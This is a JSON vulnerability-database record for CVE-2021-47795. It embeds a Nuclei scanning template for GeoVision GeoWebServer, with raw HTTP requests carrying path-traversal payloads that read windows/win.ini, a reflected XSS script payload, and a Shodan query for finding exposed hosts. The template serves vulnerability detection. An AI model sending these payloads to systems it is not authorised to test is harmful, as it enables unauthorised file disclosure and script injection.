{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-47795/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-47795/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-47795/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-47795/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-47795/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-47795"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-47795"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-47795.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2021-47795\n\ninfo:\n  name: GeoVision GeoWebServer <= 5.3.3 - Local File Inclusion / Cross-Site Scripting\n  author: shamo0\n  severity: high\n  description: |\n    GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts.\n  impact: |\n    Unauthenticated attackers can read arbitrary files from the server via path traversal, or execute arbitrary JavaScript in the victim's browser via reflected XSS.\n  remediation: |\n    Contact GeoVision support for a patched firmware version that addresses the input sanitization issues.\n  reference:\n    - https://www.exploit-db.com/exploits/50211\n    - https://www.geovision.com.tw/cyber_security.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-47795\n  classification:\n    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 6.2\n    cve-id: CVE-2021-47795\n    epss-score: 0.02865\n    epss-percentile: 0.86196\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: geovision\n    product: geowebserver\n    shodan-query: title:\"Geowebserver\"\n  tags: cve,cve2021,geovision,geowebserver,lfi,xss,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>alert(document.domain)</script> HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /Visitor/bin/WebStrings.srf?obj_name=win.ini HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n\n      - |\n        GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\\win.ini HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        name: lfi\n        dsl:\n          - 'contains_all(body, \"for 16-bit\", \"[fonts]\", \"[extensions]\")'\n          - 'contains(content_type, \"application/octet-stream\")'\n          - 'status_code == 200'\n        condition: and\n\n      - type: dsl\n        name: xss\n        dsl:\n          - 'contains_all(body, \"<script>alert(document.domain)</script>={\\\"AeDebug\")'\n          - 'contains(content_type, \"text/html\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402205e8752df899ff19cd492e7afded4a53c8a77e533589798dd610f21daa7bcc315022030ae20415e687efbb13c55a4e14b01aa8f752fd76c0bcfefd8f779d61ebc92f7:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-47795"
}